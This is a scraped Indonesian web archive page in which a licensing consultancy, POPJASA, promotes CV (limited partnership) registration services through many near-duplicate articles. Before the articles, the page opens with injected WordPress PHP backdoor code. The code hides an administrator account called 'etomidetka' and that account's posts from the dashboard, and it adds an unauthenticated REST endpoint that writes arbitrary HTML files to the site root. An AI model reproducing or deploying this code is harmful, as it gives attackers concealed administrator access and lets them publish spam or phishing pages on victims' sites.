//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } jasa pendirian cv solo Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

September 3, 2021

Mengapa Anda Lebih Baik Memilih CV Di Karanganyar

Mengapa Anda Lebih Baik Memilih CV Di Karanganyar 

Mengapa Anda Lebih Baik Memilih CV Di KaranganyarCV (Commanditaire Vennootschap/Persekutuan Komanditer) merupakan kandidat kedua badan usaha yang cukup popular di kalangan pengusaha di Indonesia.

Selain karena langkah dan proses pendiriannya yang mudah, CV juga di akui oleh mayoritas pengusaha sebagai badan usaha yang memiliki cukup banyak keuntungan.

Mau tahu apa saja keuntungan memiliki CV? Berikut ini merupakan keuntungannya:

Ini Keuntungan Mendirikan CV

  • Tidak Ada Modal Minimal

Mendirikan CV di kenal memang tidak memiliki batasan minimal modal. Berapapun modal yang Anda miliki, jika Anda ingin mendirikan CV tentu Anda bisa tetap mendirikannya selama semua syarat-syaratnya telah terpenuhi.

  • Nama Perusahaan Yang Lebih Sesuai

Nama perusahaan yang lebih sesuai akan mudah Anda peroleh jika mendirikan CV. Tentu hal ini berkaitan selama proses pendiriannya.

Baca Juga >> Keuntungan Mendirikan CV 

  • Sistem Pengambilan Keputusan Lebih Cepat

Dalam operasionalnya, CV memiliki sistem pengambilan keputusan umumnya akan lebih cepat untuk di ambil.

  • Sistem Perpajakan Lebih Mudah

Pajak yang harus di setorkan dalam badan usaha CV cenderung lebih mudah dan tidak berbelit. Oleh sebab itu, cukup banyak bisnis start-up yang mengibarkan sayap bisnis mereka dengan mendirikan CV terlebih dahulu.

Jasa Pendirian Usaha

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Mengapa harus mengurus proses pembuatan CV Anda di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Bingung Bikin Perizinan CV? Kami Punya Solusinya!

Bingung Bikin Perizinan CV? Ini Solusinya!

Bingung Bikin  Perizinan CV? Ini Solusinya Sudah lama ingin urus perizinan CV, tapi selalu saja tertunda?

Pertama karena tidak memiliki banyak waktu luang, kedua karena kini pandemi sedang kembali meningkat di seluruh penjuru kota.

Ingin keluar sebentar untuk urus perizinan CV pun jadi harus berpikir dua kali, sebab bisa jadi virus menjangkiti.

Kalau demikian adanya, maka Anda tidak perlu bingung lagi! Percayakan saja langsung proses perizinan CV Anda di POPJASA !

SYARAT PERIZINAN CV

Adapun syarat perizinan CV yang bisa Anda lengkapi adalah sebagai berikut:

  1. Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  2. Fotokopi KTP pendiri (minimal KTP milik 2 orang pendiri dan bukan berstatus sebagai suami/istri. Bukan pegawai PNS/BUMN/TNI atau pegawai pemerintah lain).
  3. Fotokopi NPWP pribadi dan para pendiri.
  4. Menyiapkan 8 lembar materai Rp. 6.000,-
  5. Fotokopi Sertifikat Tanah/Surat Keterangan Kepemilikan Tanah/Surat Perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik).
  6. IMB (Izin Mendirikan Bangunan) jika ada.
  7. Stampel CV  (di buat setelah nama CV di setujui).

Bagaimana? Mudah sekali bukan? Dan tentunya dokumen-dokumen yang tertera di atas pun sebagian besar sudah Anda miliki.

JASA PERIZINAN CV 

Yuk segera urus perizinan CV Anda di POPJASA !

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga >> Keuntungan Mendirikan CV 

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Pebisnis Baru? Ini Prosedur Pendirian CV Solo

Pebisnis Baru? Ini Prosedur Pendirian CV Solo

Pebisnis Baru? Ini Prosedur Pendirian CV Solo– Berikut pengertian Peseroan Komanditer (CV) merupakan salah satu bentuk usaha yang tidak berbadan hukum sebab tidak Undang-Undang Khusus yang mengaturnya. Regulasi CV tertuang di dalam Kitab Undang-Undang Hukum Dagang dan Permenkumham No. 17 Tahun 2018


Tahapan Prosedur Pendirian CV Solo, Berikut ini beberapa hal yang perlu disiapkan sebelum mengajukan izin pendirian CV, antara lain :

  1. Mempersiapkan semua kelengkapan data CV, seperti: nama CV, alamat, susunan pengurus, maksud dan tujuan pendirian CV serta jenis usaha yang dijalankan.
  2. Melakukan pemesanan nama di SABU, gunanya untuk memastikan bahwa nama CV belum dipakai CV lain
  3. Membuat Akta pendirian CV di depan notaris, dengan membawa kelengkapan berikut:
  • Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  • Fotokopi KTP (Kartu Tanda Penduduk) milik minimal 2 orang, tidak boleh milik suami/istri dan pekerjaan bukan merupakan PNS/TNI/POLRI
  • Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi semua pengurus CV
  • Melampirkan fotokopi sertifikat tanah/surat kepemilikan tanah/surat perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik
  • Melampirkan fotokopi IMB (Izin Mendirikan Bangunan) jika ada
  • Menyiapkan stampel CV (di buat setelah nama CV di setujui)
  • 6 lembar materai Rp. 6.000,-

Baca Juga: Keuntungan Mendirikan CV 


JASA PENDIRIAN CV

Segera urus pendirian CV Anda di POPJASA! Mengapa harus mengurus pendirian CV di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Agustus 12, 2021

Manfaat Badan Usaha CV Di Blora

Manfaat Badan Usaha CV Di Blora

Manfaat Badan Usaha CV Di Blora CV (Commanditaire Vennootschap/Persekutuan Komanditer) merupakan kandidat kedua badan usaha yang cukup popular di kalangan pengusaha di Indonesia.

Selain karena langkah dan proses pendiriannya yang mudah, CV juga di akui oleh mayoritas pengusaha sebagai badan usaha yang memiliki cukup banyak keuntungan.

Mau tahu apa saja keuntungan memiliki CV? Berikut ini merupakan keuntungannya:

Ini Keuntungan Mendirikan CV

  • Tidak Ada Modal Minimal

Mendirikan CV di kenal memang tidak memiliki batasan minimal modal. Berapapun modal yang Anda miliki, jika Anda ingin mendirikan CV tentu Anda bisa tetap mendirikannya selama semua syarat-syaratnya telah terpenuhi.

  • Nama Perusahaan Yang Lebih Sesuai

Nama perusahaan yang lebih sesuai akan mudah Anda peroleh jika mendirikan CV. Tentu hal ini berkaitan selama proses pendiriannya.

Baca Juga : Bagaimana Jika PT di Blora Belum Setor Modal?

  • Sistem Pengambilan Keputusan Lebih Cepat

Dalam operasionalnya, CV memiliki sistem pengambilan keputusan umumnya akan lebih cepat untuk di ambil.

  • Sistem Perpajakan Lebih Mudah

Pajak yang harus di setorkan dalam badan usaha CV cenderung lebih mudah dan tidak berbelit. Oleh sebab itu, cukup banyak bisnis start-up yang mengibarkan sayap bisnis mereka dengan mendirikan CV terlebih dahulu.

Baca Juga :  Yuk Kenali Jenis-Jenis CV di Indonesia !

Jasa Pendirian Usaha

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Mengapa harus mengurus proses pembuatan CV Anda di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Inilah Manfaat Keuntungan Mendirikan CV Di Klaten

Inilah Manfaat Keuntungan Mendirikan CV Di Klaten

 

Mengapa Anda Lebih Baik Memilih CV  di Kota Serang

Inilah Manfaat Keuntungan Mendirikan CV Di Klaten CV (Commanditaire Vennootschap/Persekutuan Komanditer) merupakan kandidat kedua badan usaha yang cukup popular di kalangan pengusaha di Indonesia.

Selain karena langkah dan proses pendiriannya yang mudah, CV juga di akui oleh mayoritas pengusaha sebagai badan usaha yang memiliki cukup banyak keuntungan.

Mau tahu apa saja keuntungan memiliki CV? Berikut ini merupakan keuntungannya:

Ini Keuntungan Mendirikan CV

  • Tidak Ada Modal Minimal

Mendirikan CV di kenal memang tidak memiliki batasan minimal modal. Berapapun modal yang Anda miliki, jika Anda ingin mendirikan CV tentu Anda bisa tetap mendirikannya selama semua syarat-syaratnya telah terpenuhi.

  • Nama Perusahaan Yang Lebih Sesuai

Nama perusahaan yang lebih sesuai akan mudah Anda peroleh jika mendirikan CV. Tentu hal ini berkaitan selama proses pendiriannya.

Baca Juga : Syarat yang Harus di Lengkapi Saat Mendirikan CV

  • Sistem Pengambilan Keputusan Lebih Cepat

Dalam operasionalnya, CV memiliki sistem pengambilan keputusan umumnya akan lebih cepat untuk di ambil.

  • Sistem Perpajakan Lebih Mudah

Pajak yang harus di setorkan dalam badan usaha CV cenderung lebih mudah dan tidak berbelit. Oleh sebab itu, cukup banyak bisnis start-up yang mengibarkan sayap bisnis mereka dengan mendirikan CV terlebih dahulu.

Baca Juga :  Yuk Kenali Jenis-Jenis CV di Indonesia !

Jasa Pendirian Usaha

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Mengapa harus mengurus proses pembuatan CV Anda di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Alamat Kantor CABANG POPJASA:

Jl. Adi Sumarmo No. 59, Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177

Kontak POPJASA:

Agustus 10, 2021

Syarat yang Harus di Lengkapi Saat Mendirikan CV

Syarat yang Harus di Lengkapi Saat Mendirikan CV

Syarat yang Harus di Lengkapi Saat Mendirikan CV CV atau Pereskutuan Komanditer adalah bentuk usaha yang merupakan salah satu alternatif yang dapat dipilih oeh pengusaha yang ingin melakukan kegiatan usaha dengan modal terbatas.

Kendala terbesar Anda yakni rasa malas jika mengurus izin usaha sendiri karena sistem birokrasi yang bertele-tele?

Jika demikian adanya maka Anda tidak perlu merasa khawatir! Sebab Anda bisa mengurus perizinan CV Anda di POPJASA!

Namun sebelum itu, kita kupas tuntas terlebih dahulu apa saja syarat-syarat yang harus Anda siapkan ketika ingin mengurus perizinan CV. Simak baik-baik penjelasannya di artikel yang satu ini ya!

Syarat Mendirikan CV 

Secara umum, jika Anda ingin mengurus perizinan CV  maka Anda akan di minta untuk melengkapi beberapa dokumen pendukung seperti sebagai berikut:

  • Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  • Fotokopi KTP pendiri (minimal KTP milik 2 orang pendiri dan bukan berstatus sebagai suami/istri. Bukan pegawai PNS/BUMN/TNI atau pegawai pemerintah lain).
  • Fotokopi NPWP pribadi dan para pendiri.
  • Menyiapkan 8 lembar materai Rp. 6.000,-
  • Fotokopi Sertifikat Tanah/Surat Keterangan Kepemilikan Tanah/Surat Perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik).
  • IMB (Izin Mendirikan Bangunan) jika ada.
  • Stampel CV  (di buat setelah nama CV di setujui).

Baca Juga : Yuk Kenali Jenis-Jenis CV di Indonesia !

Dokumen-dokumen ini juga berlaku jika Anda mengurus perizinan CV di POPJASA ya! Jadi upayakan untuk melengkapi terlebih dahulu dokumen-dokumen pendukung, sebelum fokus mengurus perizinan CV.

Sampai sini kira-kira sudah cukup paham bukan? Jika masih belum paham atau Anda merasa sangat kesulitan mengurusnya sendiri, maka tanpa perlu menunggu lagi langsung saja hubungi POPJASA!

Kenapa harus mengurus perizinan usaha di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Jadi apalagi yang Anda tunggu? Yuk segera hubungi POPJASA dan konsultasikan segala hal mengenai proses pengurusan perizinan CV Anda di POPJASA!

Selain melayani Jasa Pengurusan Perizinan CV, POPJASA juga melayani Jasa Pengurusan Izin Usaha lainnya, antara lain:

  1. Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha PT
  2.  Pengurusan, Pendirian, Pembuatan Izin Usaha CV
  3. Jasa Pengurusan, Pendirian, Pembuatan Izin Usaha UD
  4. Pengurusan, Pendirian, Pembuatan, YAYASAN, LSM, ORMAS, dsb
  5. Jasa Perizinan Usaha Perubahan SIUP & NIB
  6. Perizinan Usaha Perubahan Pengurus UD, CV, PT
  7. Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
  8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
  9. Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
  10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
  11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
  12. Jasa Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
  13. Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
  14. Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
  15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
  16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
  17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri
Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

 

Yuk Kenali Jenis-Jenis CV di Indonesia!

Yuk Kenali Jenis-Jenis CV di Indonesia !

Kenali Jenis-Jenis CV di Indonesia Yuk!

Yuk Kenali Jenis-Jenis CV di Indonesia ! — CV merupakan badan usaha yang cukup populer, khususnya bagi para pengusaha di Indonesia.

Lebih akrab di kenal dengan sebutan Persekutuan Komanditer, CV sebenarnya merupakan singkatan dari Commanditaire Vennootschaap.

CV berdiri sebagai badan usaha bukan berbentuk hukum yang mana dalam proses pendiriannya di butuhkan minimal 2 (dua) orang pendiri yang kemudian di namakan sebagai sekutu.

Adapun maksud dari sekutu yakni Sekutu Aktif dan Sekutu Pasif. Sekutu Aktif merupakan sekutu yang menjalankan dan mewakili CV, sedangkan Sekutu Pasif merupakan sekutu yang hanya memberikan modal bagi CV.

Meskipun dalam pengoperasionalan CV di kenal mudah dan sederhana, tetapi dalam praktiknya ternyata CV memiliki berbagai macam jenis.

Jenis-jenis CV tersebut di bedakan berdasarkan 2 hal, yakni berdasarkan perkembangan dan berdasarkan hubungan CV terhadap pihak ketiga.

Jika berdasarkan perkembangan, jenis-jenis CV terbagi menjadi:

  • CV Murni

Dalam CV Murni, perusahaan terdiri atas satu sekutu aktif dan beberapa sekutu pasif. Artinya, CV di dominasi oleh sekutu pasif, yang hanya memberikan modal saja.

CV Murni merupakan bentuk awal dan paling sederhana dari CV.

  • CV Campuran

Pada umumnya CV Campuran berasal dari Persekutuan Firma yang sedang membutuhkan suntikan modal. Jika ada pihak yang bersedia memberikan suntikan modal, maka umumnya akan berperan sebagai sekutu komanditer.

Sedangkan pihak Persekutuan Firma yang memperoleh suntikan modal, akan berperan sebagai sekutu komplementer.

  • CV Bersaham

CV dengan jenis Bersaham memiliki ciri khas yaitu di keluarkan nya saham yang bisa di ambil masing-masing oleh sekutu komplementer dan komanditer. Hanya saja, saham yang di keluarkan ini tidak bisa di perjual belikan.

Baca Juga : Pengurus CV Bisa Berubah? Ini Syaratnya!

Sedangkan jika berdasarkan hubungan CV terhadap pihak ketiga yang sifatnya lebih kepada teknis operasional, terdapat jenis-jenis CV yang terbagi menjadi:

  • CV Diam-diam

Umumnya CV Diam-diam tidak akan menampakkan dirinya pada pihak ketiga sebagai suatu CV. Dan pihak ketiga pun akan melihat CV sebatas UD (Usaha Dagang) atau Firma.

Namun sebenarnya di dalam operasional perusahaan, telah terdapat pembagian wewenang berdasarkan sekutu aktif dan sekutu pasif.

  • CV Terang-terangan

Berbanding terbalik dengan CV Diam-diam, CV Terang-terangan sudah jelas akan memperlihatkan kepada pihak ketiga bahwa dirinya merupakan badan usaha berbentuk CV.

Hal ini di tunjukkan mulai dari Akta Pendirian yang telah terdaftar, adanya papan nama perusahaan, surat menyurat atasnama CV dan lain sebagainya.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja jenis-jenis CV yang ada di Indonesia?

Jika Anda berkeinginan untuk mengurus pendirian CV namun terkendala waktu dan biaya, maka Anda bisa mengurus proses pendirian CV Anda di POPJASA.

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

POPJASA juga menawarkan biaya proses pendirian CV yang JAUH LEBIH HEMAT dan estimasi pengerjaan yang CEPAT ANTI LAMBAT!

Jadi apalagi yang Anda tunggu? Segera urus pendirian CV Anda di POPJASA sekarang!

Layanan POPJASA meliputi:

  1. Jasa Pengurusan Pendirian Pembuatan Izin Usaha PT
  2. Pengurusan Pendirian Pembuatan Izin Usaha CV
  3. Jasa Pengurusan Pendirian Pembuatan Izin Usaha UD
  4. Pengurusan Pendirian Pembuatan YAYASAN, LSM, ORMAS, dsb
  5. Jasa Perizinan Usaha Perubahan SIUP & NIB
  6. Perizinan Usaha Perubahan Pengurus UD, CV, PT
  7. Jasa Pengurusan Pengurusan Pembuatan Perpanjangan SIUP dan TDP
  8. Pengurusan Jasa Izin Usaha Pariwisata: BPW, Jasa Boga dan Restoran
  9. Pembuatan Izin Usaha Jasa Kontruksi (IUJK)
  10. Pembuatan Jasa Izin Usaha Jasa Penyedia Transportasi (IUJPT)
  11. Pengurusan Surat Izin Perusahaan Angkutan (SIPA)
  12.  Pengurusan Izin Gudang/Tanda Daftar Gudang (TDG)
  13. Jasa Pengurusan Izin Usaha Industri: TDI, IUI Kecil, IUI Besar dan PP
  14. Jasa Pengurusan Izin Usaha Industri Pangan: PIRT, MUI Halal, BPOM
  15. Pembuatan Izin Usaha Ekspor dan Impor: API, NIK
  16. Jasa Pengurusan Izin Pengajuan Pengusaha Kena Pajak (PKP)
  17. Pembuatan Izin Usaha Pendaftaran HaKI: Hak Paten, Hak Merk, Hak Cipta, Desain Industri

Baca Juga : Bagaimana Syarat Pembuatan PKP CV?

lamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

 

Pengurus CV Bisa Berubah? Ini Syaratnya!

Pengurus CV Bisa Berubah? Ini Syaratnya!

Pengurus CV Bisa Berubah? Ini Syaratnya! CV merupakan badan usaha yang cukup populer, khususnya bagi para pengusaha di Indonesia. Lebih akrab di kenal dengan sebutan Persekutuan Komanditer, CV sebenarnya merupakan singkatan dari Commanditaire Vennootschaap.

Bukan hal yang mustahil jika dalam suatu badan usaha sering kali terjadi yang namanya perubahan pengurus. Seperti pada badan usaha CV (Commanditaire Vennootschaap/Persekutuan Komanditer), dimana perubahan pengurus bisa di katakan cukup sering terjadi.

Namun, perubahan pengurus CV pun tetap perlu perizinan. Sehingga Anda tidak bisa semena-mena mengubah struktur pengurus CV begitu saja.

Lantas apakah Anda tahu apa saja syarat perubahan pengurus CV? Jika Anda belum tahu, tidak perlu khawatir! Kami akan menjelaskannya secara tuntas dan jelas.

Berikut Ini Syarat Perubahan Pengurus CV

  1. Scan/fotokopi Akta Pendirian (yang telah di sah kan oleh PN/Pengadilan Negeri) + Fotokopi SKT Kemenkumham CV
  2. Scan/fotokopi KTP seluruh pendiri CV yang namanya terdaftar di Akta Pendirian
  3. NPWP pribadi milik Direktur Lama dan NPWP pribadi milik Direktur Baru, di scan/fotokopi
  4. Melampirkan NPWP CV + SKT NPWP CV (Asli)
  5. Scan/fotokopi SIUP & TDP lama milik perusahaan
  6. Fotokopi Sertifikat Tempat Usaha (Petok D/Shm/Akta Jual Beli)
  7. Stampel CV

Baca Juga : Bingung Urus Perizinan CV? Ini Solusinya!

Nah! Sampai sini sudah cukup paham bukan dengan apa saja syarat-syarat yang di perlukan dalam perubahan pengurus CV?

Jika Anda mengalami kesulitan dalam mengurus perubahan pengurus CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus perubahan pengurus CV.

Mengapa Harus di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat. selain itu, POPJASA juga memiliki kelebihan lain seperti:

  1. POPJASA memberikan pelayanan  kepada klien yang bersifat transparan sehingga tidak akan menutupi alur proses pengurusan dari awal klien menghubungi Sales POPJASA. Sehingga dengan begitu POPJASA tidak akan membuat klien merasa tertipu, karena POPJASA sudah memberikan rincian jelasnya secara transparan.
  2. POPJASA akan selalu memantau Sales selama proses perizinan usaha berlangsung tidak berhenti. Sales POPJASA akan selalu memberikan pendampingan penuh kepada klien dan turut memberi informasi terbaru mengenai Pengurusan Perubahan Pendirian CV.
  3. POPJASA memiliki cabang dimana-mana, khususnya di kota-kota besar. Sehingga klien tidak akan kesulitan untuk datang ke kantor POPJASA dan memantau langsung perkembangan terkini seputar perizinan usaha nya.
  4. POPJASA akan selalu menjaga komunikasi dengan klien baik itu klien baru maupun yang sudah memesan lebih dulu (klien lama). POPJASA memastikan akan selalu menjaga komunikasi dengan sebaik mungkin oleh seluruh kliennya.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Bingung Urus Perizinan CV? Ini Solusinya!

Bingung Urus Perizinan CV? Ini Solusinya!


Bingung Urus Perizinan CV? Ini Solusinya Sudah lama ingin urus perizinan CV, tapi selalu saja tertunda?

Pertama karena tidak memiliki banyak waktu luang, kedua karena kini pandemi sedang kembali meningkat di seluruh penjuru kota.

Ingin keluar sebentar untuk urus perizinan CV pun jadi harus berpikir dua kali, sebab bisa jadi virus menjangkiti.

Kalau demikian adanya, maka Anda tidak perlu bingung lagi! Percayakan saja langsung proses perizinan CV Anda di POPJASA !

SYARAT PERIZINAN CV

Adapun syarat perizinan CV yang bisa Anda lengkapi adalah sebagai berikut:

  1. Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  2. Fotokopi KTP pendiri (minimal KTP milik 2 orang pendiri dan bukan berstatus sebagai suami/istri. Bukan pegawai PNS/BUMN/TNI atau pegawai pemerintah lain).
  3. Fotokopi NPWP pribadi dan para pendiri.
  4. Menyiapkan 8 lembar materai Rp. 6.000,-
  5. Fotokopi Sertifikat Tanah/Surat Keterangan Kepemilikan Tanah/Surat Perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik).
  6. IMB (Izin Mendirikan Bangunan) jika ada.
  7. Stampel CV  (di buat setelah nama CV di setujui).

Bagaimana? Mudah sekali bukan? Dan tentunya dokumen-dokumen yang tertera di atas pun sebagian besar sudah Anda miliki.

JASA PERIZINAN CV 

Yuk segera urus perizinan CV Anda di POPJASA !

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga >> Tahapan Prosedur Pendirian CV Solo

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Tahapan Prosedur Pendirian CV Solo

Tahapan Prosedur Pendirian CV Solo – Berikut pengertian Peseroan Komanditer (CV) merupakan salah satu bentuk usaha yang tidak berbadan hukum sebab tidak Undang-Undang Khusus yang mengaturnya. Regulasi CV tertuang di dalam Kitab Undang-Undang Hukum Dagang dan Permenkumham No. 17 Tahun 2018


Tahapan Prosedur Pendirian CV Solo, Berikut ini beberapa hal yang perlu disiapkan sebelum mengajukan izin pendirian CV, antara lain :

  1. Mempersiapkan semua kelengkapan data CV, seperti: nama CV, alamat, susunan pengurus, maksud dan tujuan pendirian CV serta jenis usaha yang dijalankan.
  2. Melakukan pemesanan nama di SABU, gunanya untuk memastikan bahwa nama CV belum dipakai CV lain
  3. Membuat Akta pendirian CV di depan notaris, dengan membawa kelengkapan berikut:
